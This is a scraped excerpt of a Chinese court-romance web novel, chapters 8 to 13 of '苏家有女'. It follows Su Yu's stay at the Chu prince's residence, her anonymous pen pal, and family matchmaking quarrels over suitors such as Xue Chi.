这个时候,她收到了一封信,应该是粉丝来信。但信上即没有写自己是谁,也没有说写给她的,更像是一封没有目的地随手书笺。 信纸很特别,字迹俊逸潇洒。更重要的是内容,寥寥几笔仿若写尽天下寂寞,最后还附了一首小诗。 读完信的一瞬间,苏钰觉得自己好像找到了知己,但既无姓名,也无地址,她根本就无法寻人。 思量再三,她便在出版书籍的最后,写了“致好友,通音讯”六个字,黑体印刷,格外显眼,并附上了小诗的后两句。 书籍开售之后,苏钰就有些紧张,常去店铺盯着。大概半个月后,信又来了。苏钰并没有出面,也没有问对方的身份,只是让伙计把自己写的信,让来者带回去。 从那之后,书信往来变成了日常。彼此在信中都不提自己的身份,书信上既没有抬头也没有落款,随心而写,随性而写。 “姑娘既然如此在意,何不约这位公子相见。”绿川忍不住说着。 早期书册只在京城发售,对方能看到书册后记,肯定也是京城人士。同在京城,与其藏来藏去,不如正身相见。 绿川也是担心,只是信晚了而己,苏钰就这样焦虑担心。万一苏钰是对对方动了真心,对方身份却是不妥,那岂不是大大的不妙。 早点相见,确定身份。若是郎情妾意,门当户对那就是天作之合了。若是不当,也能早日抽身退步。 “为什么是公子,也许是为位姑娘呢。”苏钰找茬似的说着,“这世上从不乏奇女子。” 绿川想了想,道:“高门大户的千金小姐,就算是随亲人外放出京,也不会是几个月的时间。能自由出京几个月的,多半是公子。” 苏钰算是千金小姐里非常出格的了,但最多也就是京城跑跑,苏家不会放任她出京几个月。 苏钰并不认为这个理由十分充分,千金小姐突然出门几个月也有的。但就通信这么久的感觉,她也觉得是笔友公子,而不是笔友姑娘。 “为什么是高门大户,也许是一般富商人家呢。”苏钰说着,“跟随家人出外行商,也有可能的。” 来信中写了不少风土人情,应该是去过不少地方。曾经的高门公子,家境落魄,不得不四处行商,这也是一种可能性。 “姑 8. 第 8 章 《苏家有女》全本免费阅读 “马车己经在外面侯着了。”胡婆子的声音就在门外。 苏钰不能不感叹,“我果然太天真……” 以为躲到这里就可以躲开了。别人也许躲的开,但是母亲…… 哪怕是躲到棺材里,也能把她揪出来。 “王妃……”绿川心惊胆颤。 她既没有高强武功,也没有过人才能,更不够机灵。楚王妃提出换掉她,被苏钰否决。 虽然她人留下了。但每每见到楚王妃,绿川就很害怕。 楚王妃的厉害靠的不是狠辣酷刑,她的厉害是由内向外,像她这种没什么能耐的小丫头,被点到名字就要胆颤心惊。 “走吧。”苏钰站起身来,先整理衣服。 绿川一步上前,给苏钰打起帘子。 出了屋门,屋外只有胡婆子一个,身上穿着麻布衣服,连一根银钗都没有戴。看到苏钰规规矩矩行了礼,一言不发前头领路。 没走前头店铺,从后门出去,门外停着两辆马车,也十分普通。 如此微服,估计也不是想声张。店铺开在平民区,突然出现在王府的马车,围观人群肯定不会少。 苏钰带着绿川坐了前面的车驾,胡婆子上了后面车驾。马车缓缓行驶,虽然马车看着简陋,行驶却十分稳当。 “王妃怎么知道姑娘在这里的?”绿川小声说着。 总觉得好神奇,胡婆子竟然找到这里了。 “我开书局折腾了一年多,母亲应该早就知道这里。”苏钰说着。 母亲从来不管她做什么,嫁人都是不值得提起的小事,只要开心就好,写话本开书店,都是小意思。 倒是她前脚出门,胡婆子后脚就跟来。她十分怀疑,最近这段时间母亲一直派人盯着她。 纸果然包不住火,苏玫与贺英那点破事,母亲估计知道了。 “早知道这样就不出来了。”绿川小声说着。 苏钰道:“既然母亲叫我去了,索性多住些日子,省得祖母,二婶再派人寻我。” 想到苏玫的态度,她越发想躲开些。 只是苦了苏天佑,抓不到她,只能问他了,总不好问关氏这个媳妇。 说起苏钰父母的婚姻,也曾经是京城的一段佳话。母亲慕容宁,乃是西北慕容氏的王族长女。 十九年前随父进京朝贺新皇登基,意外与苏天翊相遇,两情相悦。 太后下旨赐婚,成就一段佳话。 才貌双全的郡主王女,配国公爷兼新科状元,又是太后赐婚,不管怎么看都是天作之合,定能白头偕老。 但就在九年前,她的父亲,英国公、内阁大学士,显庆皇帝最看中的臣子,苏家大老爷苏天翊,却自请削爵辞官,也要与慕容宁和离。 关太后亲自调停,却挡不住苏天翊的主意己定。为什么?不知道。 面对种种致疑,苏天翊没有留下任何解释。写下休书后,就此离开京城,从此再未归京。 显庆皇帝震怒,下旨把苏天翊削爵罢官,并训斥苏家。 西北王得知姐姐婚变,便请旨欲接慕容宁回西北。没想到这个时候,皇上的亲叔叔楚王突然请旨求赐婚。 楚王正妃早逝,楚王与慕容宁年龄相当,皇室贵胄,更难得人品长相皆是一流。 关太后再次下旨赐婚,慕容宁从苏大太太变成了楚王妃。 就这样,十九年前一段如同话本小说里的爱情故事,随着苏天翊的离开,慕容宁的改嫁彻底结束。 同时慕容宁也达成了一项本朝至今无人超越的成就,被太后赐婚两次的女人。 “姑娘,下车了……” 车驾在楚王府二门处停稳,婆子打起帘子,绿川扶着苏钰下车。 两侧仆妇相迎,软轿停到旁边,换车坐轿,这才算是进了王府。 楚王府是当今皇上亲叔叔的府邸,绝非一般亲王可比拟。王府修在皇城西南角,占地更大,远超亲王规制。 八年前,楚王与慕容宁成婚时,又大面积重新翻修。虽然面积没有扩大,却越发的豪华气派。 尤其是慕容宁住的栖凤楼,比之皇宫内廷也不逊色。 软轿一路抬到栖凤楼院门口,虽然是京城王府的正院,但栖凤楼的建筑风格却掺杂着异族风格。 这是翻修王府时,楚王特意吩咐的,为了讨慕容宁的欢心。 西北慕容氏本就是边疆少民部落,虽然接受中原文化,却是自成一家。长相上也有点差异,五官轮廓明显更深些。 当年慕容宁初到京城,花儿一般美貌,又凭着这份异族风情,可谓是艳惊四座,引得无数王孙公子竞折腰。 “苏姑娘到了……” 守门丫头打起帘子,苏钰带着绿川刚进门。 己经三十几岁的慕容宁,看起来十分年轻。一身家常打扮,卸掉了皇室王妃的威仪,却去不掉自身凌厉。 美丽,肆意,像是半睡着的老虎,蕴藏着无限力量,不容小觑。 “找你问句话还真不容易。”慕容宁说着。 苏钰笑着上前,直到慕容宁坐着的榻前,拉着她的手撒娇道:“这等小事,母亲就不要计较了嘛。” “我要是计较,贺英己经是个死人了。”慕容宁说着,“说吧,怎么回事。” “还能是怎么回事,不就是男女那些……”苏钰嘟囔着,却是事情经过一五一十说个清楚。 慕容宁听完也有几分惊讶,道:“关氏那般厉害,竟然教出了一个傻女儿,以后有她的苦头吃。” “现在生米都出锅了,三叔也是没办法。”苏钰说 9. 第 9 章 《苏家有女》全本免费阅读 慕容宁嫁进楚王府后,苏钰名义上留在苏家。但很长一段时间里,她都在楚王府生活。 与楚王府郡主同样的生活待遇,独立的院落,衣服首饰、丫头仆妇,甚至连每月的月例银子,也一分不少。 “姑娘,这是李管事亲自送来的,这几个月的份例。”绿川回报着。 苏钰去见慕容宁,绿川先回了听雨楼。另起名字很麻烦,苏钰懒省事,楚王府的住处也叫听雨楼。 绿川正安排着婆子做事,楚王府大管事亲自来了。送来苏钰和她的月例。 苏钰的是五箱衣服加首饰,四个月的月例,总共一百二十两。绿川做为贴身大丫头,也有八两银子。 这两年苏钰大部分时间都在国公府,王府的待遇却依旧。只是东西不好往国公府送,每次都是苏钰过来小住时,再一起送过来。 “你收着就是了。”苏钰挥手说着。 绿川端茶上来,见苏钰神色轻松,就知道是过关了,笑着道:“姑娘打算在王府住多久,我好派人回国公府送消息。” 人是从书局接走的,国公府还不知道。现在要在王府住下了,肯定要派人往国公府送消息,免得苏天佑和关氏担忧。 苏钰想了想,道:“三姑娘出阁前。” 妹妹出阁,姐姐不好缺席。也是不想旁人闲话更多,不然她连婚礼都不想出席。 “是。”绿川应着,转身出去,唤来小厮吩咐一通。 苏钰唤来小丫头更衣,心里却是想着另外一件事。收到笔友的来信,她也要写回信了。 以往不管是收到信,还是写回信,她心情都是愉悦的。现在也愉悦,只是多了一份纠结。 到底要不要掀开这层纱,看清信后之人。 “好纠结~~”苏钰有点想抓头发。 “听说苏姑娘来了。”院里传来女子的声音,声音很好听,此时却带着幸灾乐祸。 苏钰认得这个声音,是宜宁郡主,生母陈侧妃,与楚王世子乃是一母所出,一直养在陈侧妃身边。今年十七岁,还没定下亲事。 她在王府居住的这些年,没少跟宜宁郡主打交道。正宗傻白蠢,属于做坏事都做不好那种蠢才。 “我去打发她。”绿川小声说着。 苏钰笑着道:“算了,难得她得意一次,这次打发了,还有下次,让她进来吧。” 宜宁郡主没啥优点,唯一的长外就是有毅力,尤其在针对她这方面。好像打不死的小强,有时候拿她解闷还是不错的。 绿川只得站住,屋里的小丫头见状便迎了出去。 苏钰从书桌前起来,到正厅坐下,就见宜宁郡主带着两个贴身丫头进来。 虽然智商不高,宜宁郡主却是十打十的美人。她的容貌来自陈侧妃,丫头出身却当上侧妃,生下一对儿女,全凭美貌得宠。 “郡主好,郡主请坐。”苏钰笑着说。 宜宁郡主顾不上坐下,就装模作样问,“听说苏家出了大事,三姑娘抢了大姑娘的女婿。哎哟,这可如何是好啊。” 苏钰神色平淡,笑道:“我刚从国公府过来,并未听说,想来是郡主听错了。” “怎么会听错,那贺英难道不是你的未婚夫。”宜宁郡主说着。 她刚得到的消息,得知苏钰吃了亏,她高兴坏了。现在苏钰又来了王府,这个机会一定不能放过。 “郡主莫要胡说。”苏钰说着,“三妹妹与贺六爷的婚事乃是祖父定下的,与我何干。倒是郡主您,今年都十七了,婚事定下来了吗。再拖下去,就成老姑娘了。” 十七岁在闺阁姑娘中并不算大龄,只是宜宁郡主对婚事十分在意。还有陈侧妃,对儿女婚事的关心程度超乎想像。 在苏钰来看,这对母女就是闲的。吃饱没事干,也没什么交际朋友,才会天天琢磨这个。 “你才老姑娘,你比我还大一岁呢,现在又被抢了未婚夫,你更倒霉,更惨更可怜。”宜宁郡主说着得意起来,“我的婚事己经定了下来,是父王做的主。” 苏钰来了兴趣,问:“哪家公子啊?” 以宜宁郡主的美貌以及家世,想寻个如意郎君本是易如反掌。 奈何陈侧妃心气太高,慕容宁曾经提过几个人选。陈侧妃和宜宁郡主不乐意,跑到楚王爷面前寻死觅活。 楚王爷被她们闹的没办法,慕容宁本就是出于对本职工作的责任心才会过问宜宁郡主的婚事,当事人不愿意就算了。 楚王爷也被闹得烦,懒得管,宜宁郡主的婚事就被耽搁了。 “是晋阳长公主的大公子,薛迟。”宜宁郡主神情越发得意。 虽然京城的名门公子众多,但薛迟要是称第二,那绝对没人敢称第一。 这样的夫婿才是她的理想,不管是人品,样貌,家世,才能,前途,样样出众拔萃。 “噗,哈哈~~”苏钰忍不住笑了起来。 宜宁郡主果然是开心果,本来还有点抑郁的,顿时把她逗乐了。 宜宁郡主却是大怒,指着苏钰道:“你笑什么笑!!有什么好笑的?” “郡主啊,你没有算过辈份吗?”苏钰笑着说,“你与晋阳长公主是堂姐妹,是薛大公子的姨妈啊。” 楚王爷是当今显庆皇帝的亲叔叔,晋阳长公主是显庆皇帝的亲姐姐。楚王爷与晋阳公主是不隔层的亲叔侄。 这样亲近的血缘关系,外甥娶姨妈,陈侧妃这是疯了吧。 “这……”宜宁郡主顿时愣住了,她显然没有想到这个问题,“世家大族成亲,多是不看重辈份的。” 苏钰道:“那是血缘疏远的,仕族大家四代同堂不分家,几十房人免不了各种串亲。但是嫡亲血脉,从来没有哪家敢如此的。” 不分家的世家大族,几百口人聚居,说起来都是堂兄弟、表姐妹,算起来己经是一表三千里。像这种错辈成亲,没有妨碍。 而薛迟与宜宁郡主的血缘关系太近了,根本就是挑战伦理底线。 “胡说,你胡说八道!!”宜宁郡主跺着脚,神情顿时焦急起来。 薛迟是她和陈侧妃把京城世家公子翻了几遍后挑出来的,可谓是千挑万选。 怎么就不合适呢,不,一定是合适的,苏钰就是胡说八道。 苏钰道:“你可以去问世子。” “对,我去问小弟,小弟一定会给我做主的。”宜宁郡主说着,转身 10. 第 10 章 《苏家有女》全本免费阅读 苏钰住的听雨楼紧挨着慕容宁的栖凤楼,一条甬道过去就是。与白天时不同,苏钰出门时格外正装打扮,也把平日里的懒散随性收了。 晚饭时间,楚王爷一定会出现。 对于楚王爷这个继父她并没有意见,只是继父总不是亲爹,不好像见亲娘慕容宁那般的自在随意。 “苏姑娘来了……” 小丫头打起帘子,苏钰打起精神进门。 楚王爷与慕容宁正堂坐着,只是这么看过去,倒是一对般配的璧人。 经过几代基因改良的王孙贵胄显少有丑货,楚王爷的样貌在皇室之中都算是出挑的。三十几岁,正值壮年时,身材也保养的好。 “给王爷请安。”苏钰上前见礼。 楚王爷笑着道:“快免了,父女之间哪用这么大的礼,快过来坐。” “是。”苏钰应着,脚步却是十分沉稳,在慕容宁下手坐下来。 “你这孩子,受了这么大的委屈,竟然一声不吭。”楚王爷说着,“有我呢,我给你做主。” 苏钰与贺英的婚事,是多年前就定好的。看不看的上贺英是一回事,但苏家竟然把三姑娘嫁过去,直接跟苏钰抢人,这就过份了。 “这……” 苏钰有些无言以对,这京城果然太小,八卦传播速度太快。连深居王府的楚王都知道了,只怕京城没有不知道了。 她相信楚王为她出头的真心,楚王身为当今皇帝的亲叔,却是性格温和,最是无害,老实的好人。 但也因为太老实了,能力方面就欠缺许多。幸好他也不管事,每天就是养花弄草,自得其乐。 “你父亲不在京城,我更该给你做主。”楚王爷说着,“我明天就去问问苏天佑,他到底是什么意思。” “王爷误会了。”苏钰说着,“我与贺英见过数面,并不钟情,本就想着寻个借口退婚。现在能成三姑娘与贺英,我也十分欢喜。” 楚王爷皱眉道:“姐姐的婚事,却被妹妹抢去,苏家不地道,贺英也不是什么好东西。” 苏钰不好应答,只能勉强笑着。 “贺英本就不出色,这门亲事黄了也没什么可惜。”慕容宁说着。 “王妃说的是。”楚王爷马上点头,“我也觉得贺英配不上钰儿,只是这婚事是苏老太爷定下来的,我也不好说什么。既然婚事一笔勾消,那就再寻一个比贺英强十倍的。” 他虽然很少管事,却也知道,这个时候就要争口气。若是苏钰再寻的夫婿不如贺英,肯定会被笑话的。 相反的,苏钰若是寻个比贺英强的,众人只会说是苏钰不想嫁贺英,主动让给妹妹的。 “……” 苏钰越发无言以对,楚王爷是真心为她好,又是她继父。若是直接回绝了,只怕楚王爷要伤心。 无奈之余,苏钰只得看向慕容宁。今天慕容宁才说过,她成不成亲都无所谓。 “王爷心中有可有人选?”慕容宁问。 苏钰顿时一脸失望,心中也有几分好奇。楚王爷口中这个比贺英强十倍的到底是谁。 贺英虽然不是特别优秀,但同龄人中比他强十倍的真不多。探花这个功名,为他加分太多。 “晋阳的长子薛迟。”楚王爷说着。 虽然苏钰是他的继女,但并未改姓,也未入宗,仍然是正宗苏家人。辈份上这点小误差,可以忽略不计。 “啊??”苏钰不自觉得惊呼出来。 宜宁郡主口口声声楚王爷给她寻了好婚事,本以为是她胡说的,看来是她搞错了。 楚王爷对苏钰道:“钰儿也知道薛迟吧。” “薛家大公子在京城是如雷贯耳,我听人说起过。”苏钰说着。 楚王爷能想到薛迟,并且有意保媒,这是真为她着想。 “他现在跟着你二叔在边关,不日回京。”楚王爷说着,“等他回来后,我就安排你相见。” “这,不太妥当吧。”苏钰脱口而出。 这是打算安排相亲?? “那孩子十九了,一直没说亲事,不是晋阳不上心。而是他想寻个自己钟意的,晋阳也无可奈何。”楚王爷径自说着,“以钰儿的才貌家世,定让他无可挑剔。” “……” 苏钰只觉得心中万匹草泥妈奔过,看向来是双向相亲。 新潮,很新潮。 “我己经问过晋阳,她也觉得钰儿不错。”楚王爷说着看向慕容宁,“王妃觉得如何?” 苏钰也不禁看向慕容宁,她是没办法拦下楚王爷,现在只能指望慕容宁了。 双向相亲虽然很新潮很有趣,但她现在只想见笔友。 “薛迟……是很不错。”慕容宁斟酌着,“我倒是觉得,谢无衣更不错。” “啊??”苏钰惊讶。 谢无衣?谁啊? 楚王爷眉头皱了起来,脸上带着疑惑,“谢无衣出身不好。” 论才貌能力,谢无衣确实是上上等。但出身那么差,如何配的上苏钰。 “英雄不问出身。”慕容宁说着,却不想就这个话题与楚王爷讨论下去,“眼下他们都不在京城,等回京后再议不迟。” 楚王爷点头道:“王妃说的是。” 苏钰忍不住问:“谢无衣,是哪家公子?” 京城的豪门贵族里就没有姓谢的 11. 第 11 章 《苏家有女》全本免费阅读 按苏钰想的,躲在楚王府里,慕容宁不会天天啰嗦她,也不会问东问西,她正好躲个清闲。 没想到的是,亲妈不是啰嗦她,继父关心过度。薛迟不在京城见不到,还有其他人选。京城王亲公子这么多,一天见一个都能排上一个月。 楚王爷甚至想着要不要开个赏菊会,把京城的公子哥一网打尽全请了,让苏钰仔细挑选。 “我好后悔,我到底为什么来王府。”苏钰趴在桌子上万分沮丧。 她要是在国公府住着,虽然也免不各路人马来询问,但也就是问问而己。问完也就走了,哪里像现在这样,没完没了。 旁人就是关心她的婚事,她也可以借故推辞。现在是继父关心,她推都推不掉。 “姑娘再忍忍,我派人回家问过了,再过八天就是三姑娘出阁的日子。”绿川安慰着苏钰,“我们提前两天回去,也就是六天,很快就过去了。” “还有六天……”苏钰直叹气,“我以前真不知道京城有这么多公子哥,王爷好厉害,老鼠洞里的都挖出来了。” “王爷也是一片好心。”绿川说着,赶紧转移话题,“姑娘肯定想不到,三太太陪嫁了三姑娘什么。” “嫁妆不就那些嘛。”苏钰有气无力说着,“三太太原本给我准备的那些,拿去三姑娘就是了。” 高门千金出阁,嫁妆是断不能马虎的。哪怕是娘家穷,各色东西用料差些,也不能少。 苏玫出阁时间这么紧,重新准备一套根本来不及。用她那套正合适,她也不会在意。 “没有,三太太没动那些,说那是姑娘的。三姑娘对不起您在先,不能再动您的嫁妆。”绿川说着。 关氏向来明事理,但唯一的女儿出阁,能做到这份上,就太难得了。 “没用?”苏钰愣了一下,“那三姑娘拿什么出阁?” 国公府的千金,总不能一毛嫁妆不带吧。就是关氏无所谓脸面,苏天佑也不会同意。 “六处田庄。”绿川说着,“姑娘出阁公中有一份嫁妆,三太太折合成了一处庄子。她又从自己嫁妆里拿出来三处庄子,三老爷自己的私房拿出来,三太太也买成了庄子。总共六处田庄,每年出息不少呢。” 苏钰惊讶不己,田庄是所有嫁妆里最实惠的,可以钱生钱。但全部折成庄子,这操作就很迷惑了。 女儿出阁想要面子好看,就要嫁妆多。十里红妆抬出去,吹吹打打让旁人看着才是脸面。 六处庄子是不少了,但到抬妆时,连个箱子都没有,脸面上也不好看。 而且嫁妆里的很多东西也是日常用的,若是娘家不准备,新媳妇在婆家也很不方便。 “还有呢,六处庄子都有备注,庄子由苏家打理,所产出息只供三姑娘一人使用。”绿川说着。 田庄是陪嫁里最特殊一项,因为可以钱生钱,不像其他死物。娘家会在嫁妆单子特别备注也是常事。 但是完全有娘家人打理,只供自家姑娘一人使用,这就显得有点过了。 一般来说,怎么也要照顾一下外孙。 “三太太这是给三姑娘留后路呢。”苏钰隐约猜到了些,“陪嫁的下人有哪些?” “都是三太太的人,两个大丫头,还有六房人。连张婆子,管事大娘子都跟着三姑娘去贺家。”绿川说着。 苏玫的丫头全部处置,三太太把自己的丫头给苏玫当陪嫁也是情理之中。 但是张婆子己经是管事大娘子了,竟然也跟着陪嫁,实在不可思议。 “三太太疼爱女儿。”苏钰说着,“三姑娘命好啊。” 可怜天下父母心,捅出这么大的祸事,那般不孝,三太太依然全力护她周全。 只望苏玫能明白过来,有娘家托底,她还有机会重新开始。 “贺家对婚事十分上心,估计是理亏吧。”绿川说着。 苏钰笑着道:“贺家大老爷精明着呢,心里不知道多少个算盘。” 贺大老爷也是个人物,能提出妹妹换姐姐,如此不要脸皮,肯定不是因为理亏,而是贺家需要苏家这门姻亲。 “三姑娘是挺开心的,真不知道她怎么想的。”绿川小声说着。 抢了姐姐的未婚夫,把家族脸面踩到地上,只顾自己开心,自私至此也是够够的。 苏钰道:“随她去吧。” 就是没有这一出,当年与贺英定亲的就是苏玫,苏玫嫁过去都未必能过的好。 贺英那种男人,确实不是良配。更不用说闹的如此没脸,倒贴着嫁过去。 真不知道苏玫哪里来的自信,认为自己只要嫁过去了,就一定能与贺英夫妻情深了。 “苏姐姐在屋里吗?” 少年爽郎的声音从院里传来,是楚王府世子秦昊。 绿川赶紧迎了出去,笑着招呼道,“世子爷来了,我家姑娘在屋里呢,快请进。” 苏钰也从里间出来,到正厅迎客。 楚王府世子秦昊,今年十五岁,陈侧妃所出,与宜宁郡主是一母同胞,性格却是全然不同。 慕容宁嫁进王府后,就把秦昊带过来教养,与苏钰十分亲近。 虽然是庶出,但因是独子,去年楚王爷请旨册封了世子。 “许久不见姐姐,姐姐安好。”秦昊笑着说。 苏钰打量着秦昊,笑着道:“几个月不见,世子爷长高了不少,快请坐。” 虽然十五岁了,秦昊的身量还没成长,模样带着稚气。虽然己经是世子了,对她称呼依然,看着就像个可爱的弟弟。 “王妃也说我长高了。”秦昊笑着说,“我刚从别院回来,听说姐姐来了,就赶紧来看你。” 苏钰看他一身风尘仆仆还未更衣,应该是回来就去了栖凤楼,从栖凤楼出来就转到她的听雨楼。笑着道:“听王爷说你去打猎了,收获如何?” “不怎么样,我的弓马骑射……唉。”秦昊哀声叹气,看着苏钰道,“我要有姐姐一半本事就好了。” 西北常年战事,男女皆习武,尤其是弓马骑射十分精通,慕容宁更是顶级高手。 慕容宁教功课时,他与苏钰一起学的。苏钰样样比他学的快,虽然师傅一直安慰他说,他年龄还小,只要好好努力定会有一番成就。 但随着年岁渐长,他却明白何谓天才。慕容宁是天才中天才,别说女子,男子都比不了。苏 12. 第 12 章 《苏家有女》全本免费阅读 苏钰从听雨楼后门出去,没去栖凤楼,绕道去了后花园。 宜宁郡主闹成那样,屋里的婆子肯定会往上通报。不用慕容宁出面,自有引教嬷嬷料理。 “宜宁郡主的脾气越来越大了。”绿川忍不住小声说着。 自从秦昊封了世子,不管是宜宁郡主还是陈侧妃都抖起来了,日常要上天的节奏。 苏钰笑着道:“背靠世子,脾气自然大。” 慕容宁初嫁入王府时才二十多岁,秦昊这个独子随时都会变成庶出小可怜。陈侧妃就是再傻,也要小心翼翼过日子。 九年过去,慕容宁并没有生育,也没有生育的打算。秦昊又封了世子,地位稳固,陈侧妃这个世子生母,自然不会再伏小做低。 “别说世子了,就是王爷……” 绿川没说下去,众所周知楚王爷对慕容宁言听计从,就连秦昊封世子之事,也是慕容宁的主意。 苏钰没作声,只是在园中随意走着。快到掌灯时分,夜幕西垂,眼前的景物也变得朦胧起来。 不管王府的生活,还是王府的花园,都十分精致,国公府比不了。但再好也是别人家,连慕容宁都无法当这里是家,更何况她。 “就算世子是独子,也没必要这么早册封世子的。”绿川小声嘀咕着。 不是世子,只是庶子,王妃随时还能生下嫡子。有这重压力大,不管是陈侧妃还是宜宁郡主都会老实许多。 “母亲大概是觉得王府该有世子了。”苏钰说着,小时候她也不懂,长大了才渐渐明白。 慕容宁的很多做法,用家庭的角度是考虑不通的,但是从办公这个角度就很能理解了。 王府的最高管理者,要考虑整个王府的运作。嫁进来不久就把庶子带过来养活,各种培养教育,就是在为楚王府培养世子。 秦昊虽然性格像极了楚王爷,但是知书达理,能辩事非,文武皆懂皮毛,待人处事皆是上等,纨绔子弟的恶习一概没有。 这样的王府世子,虽然不够优秀,却是各方面都合格。 慕容宁在尽职,自己没有生育的打算,就把庶子培养好,给楚王府一个合格的世子。 “我听下头婆子说,陈侧妃一直找王爷闹呢。说王爷不管宜宁郡主,只顾着给姑娘寻婆家。”绿川小声说着。 宜宁郡主十七岁,正是说亲的年龄。结果楚王爷一直给苏钰张罗亲事,这回宜宁郡主跑到听雨楼来闹,估摸着也有这个原因。 “王爷好性情,不会与她计较。”苏钰说着,“郡主嘛,总能嫁出去的。” 实在不行还有长史官、媒婆,门当户对的肯定能找着,投胎成郡主,作天作地也是可以的。 “长宁郡主的婚事是王妃寻的,现在夫妻恩爱,多好啊,也不知道陈侧妃挑个什么劲。”绿川说着。 她就不相信,陈侧妃寻的亲事能比慕容宁寻的好。 “宜宁郡主看上的是薛迟,心气高着呢。”苏钰笑着说。 长宁郡主是楚王爷的嫡长女,前头周王妃所出。样貌虽然平常了些,性情却是温厚。 慕容宁亲自挑选的夫家,锦乡侯府的世子。身世,才貌,能力,性情皆是一流。虽然没有一样特别出色,以至于闻名京城。 但是各项打分皆很高,属于平均分很高,只是没有特长而己。 “苏姑娘在这里呢,让老奴好找。” 主仆俩正闲聊着,只见楚王爷的心腹郭公公匆匆过来。 苏钰停下脚步,笑着道:“郭大人寻我何事?” 郭公公道:“王爷知道姑娘受了委屈,请您去颐乐殿一趟,让宜宁郡主亲自给您赔不是。” 苏钰多少愣了一下,怎么闹到楚王爷那里去了,楚王爷可是素来不管事的,他也管不了。笑着道:“宜宁郡主只是来听雨楼寻世子爷,与我并没什么冲突,更不需要赔不是。” 郭公公笑着道:“王爷都知道了,确实是宜宁郡主不对。好姑娘您就跟我走吧,王爷等着呢。” 苏钰心中无语,也只得去了。 颐乐殿是王府的起居正殿,也是楚王爷的住所,与慕容宁住的栖凤楼是前后院,两边角门相通。 郭公公前头引路,刚走到门口,就听屋里传来吵闹声。 门口小丫头正欲通传,苏钰却是摆摆手,示意等会。 里头正闹着呢,她现在进去不合适。 “王爷,宜宁可是您的亲生女儿,她的婚事您竟然全然不操心,呜呜呜,妾身好命苦啊。”陈侧妃跪地哭泣着,明明儿子都是世子了,为什么她在王府的地位依然没有任何提升。别说长史官了,连管事娘子都不把她放在眼里。 “王妃早就给出人选了,是你哭闹不休。现在又跑到我这里闹,你到底闹什么。”楚王爷怒声说着,语气中多是无奈。 他现在是十分后悔,少年时贪图美色看上陈侧妃。生下儿女虽然有功,但是三天两头的哭闹,他脾气再好也受不了。 “王妃……”陈侧妃害怕慕容宁,也不敢说她的坏话,只是道,“那薛大公子,王爷说与宜宁不合适,怎么转眼就……” 这是陈侧妃最不服气的,明明是她先看中薛迟的。结果与楚王爷说了,被楚王爷骂了一顿。结果转头楚王爷就要按排薛迟与苏钰,这口气如何咽的下去。 “宜宁是我亲生女儿,这亲事如何作得。”楚王爷怒声说着,“你就是不识字,是个傻子,也该知道这亲事不妥当。” 秦昊并不知道此事,却知道薛迟是谁,大概猜出其意,连忙上前对陈侧妃道:“薛迟乃是晋阳长公主的长子,如何能与姐姐谈婚论嫁。” “那为何与……”陈侧妃心中依然不服。 秦昊解释道:“苏姑娘姓苏,与父亲并不是血亲。” 亲生儿子所说,陈侧妃有些信了,却是又道:“宜宁的亲事全然没个着落,我如何不焦急。” “王妃自有安排,母亲何必……”秦昊叹气说着。 在他看来,这世上就没有慕容宁解决不了的事。只要陈侧妃与宜宁郡主安分守己,好亲事肯定会有。 “我今年都十七了。”宜宁郡主也跟着哭了起来,她哭的比陈侧妃更凶 13. 第 13 章 《苏家有女》全本免费阅读 第十三章 选婿 洪长史不愧是慕容宁的得力干将,当天下午就寻了五个官媒婆进王府,都是常在高门大户行走,对京城未婚男女的实际情况十分了解。 五个官媒婆列出六十个适婚少男的名单,宜宁郡主是郡主之身,只以门第而言,王亲公子娶她都是高攀。 洪长史又根据自己所知的情况,以及官媒婆提供的小道消息,划掉样貌丑陋、品行不佳;家族不想娶公主郡主;可能看不上宜宁郡主;以及虽然还没有定婚,但己有目标的。 最后,晚饭之前,一张十人的名单交到楚王爷手上。 长史官最多也就是初步筛选,接下来如何,就看楚王爷决断了。 楚王爷看着名单却犯愁了,若是三选一他还能看看。现在十选一,让他选那就是抽签,抽到谁是谁。 慕容宁曾经提过宜宁郡主的夫婿人选,结果被陈侧妃哭闹飞了。现在拿着名单再去问她,借楚王爷十个胆子也不敢。 “父王……”秦昊上前见礼。 楚王爷圆桌前会着,向秦昊招招手,道:“你也过来帮忙看看。” 秦昊刚走过去,就听屋外小丫头传话,“苏姑娘来了……” “快请进来。”楚王爷说着。 苏钰神情茫然的进屋,楚王爷突然请她来颐乐殿,她真想不出是什么事。 “这是洪长史拿来的名单,要给宜宁选个夫婿,你也过来看看。”楚王爷说着。 他自己没主意,秦昊年龄还小。不好问慕容宁,那就问问苏钰。 “啊??”苏钰大惊。 让她帮宜宁郡主选夫婿??楚王爷这脑洞也太清奇了。 楚王爷道:“你是她姐姐,帮她看看也是应该的。再者你的夫婿,王妃说了,让你自己寻,正好也一起看看。” 名单上合适宜宁郡主的,肯定也合适苏钰。 苏钰只觉得槽多无口,停了一下才道,“王爷何不与长宁郡主商议,她是长姐,又己经出阁,熟知京城后宅的事务。” 帮着姑娘相看夫家这种事,从来都是寻血缘亲近的己婚女子。找她这个未婚女,也只有楚王爷干的出来。 以前只觉得楚王爷性格软弱,没有多少才能。没想到脑洞清奇,做事如此出格。 “长宁太老实了,又有了身孕,我不好去烦她。”楚王爷说着,“你常与京城的仕家子弟来往,熟知他们的品性,正好参谋一番。宜宁那孩子傻了些,我这个做父亲的,很想多为她筹谋,却是有心无力,只能指望你了。” 一番话,让苏钰不知道说什么好,只得道:“承蒙王爷看的起,我自当尽力。” 秦昊和苏钰一起在圆桌前坐下来,三个人开始讨论。幸好都是京城的公子哥,各家情况如何都是知道的。 苏钰虽然说帮着参谋,却不想多言。只把她知道的情况说了,把性格暴燥,骄奢淫逸,公婆过于难缠,这部分人选再次划掉。 “我与关子烨有几分交情,他虽然没有正式定亲,他的父母似乎己经有中意的儿媳妇了。”苏钰说着。 事实是关子烨的父母打算寻个清流人家,父辈是科举出身的高官,并且才貌双全的儿媳妇。 宜宁郡主虽然是郡主,但与关家父母的条件相差甚远。 直白的说,关子烨的父母看不上宜宁郡主。 “这样啊,好可惜。”秦昊满脸可惜。 关子烨的条件不止是这份名单里的翘楚,也是京城公子里的翘楚。 家世牛逼,才貌双全。虽然不像贺英那样二十岁中探花,但假以时日肯定能金榜题名。 宜宁郡主能嫁如此夫婿,也可以了。 苏钰不禁看一眼秦昊,欲言又止的道:“还有其他的,再看看。” 她有点想提醒秦昊,高门大户结亲讲究门当户对。除了家世之外,还有个人条件。 宜宁郡主虽有美貌加成,但是她的性格脾气以及能力减分太多。京城贵妇圈的消息十分灵通,女儿家如何,心里都有数。 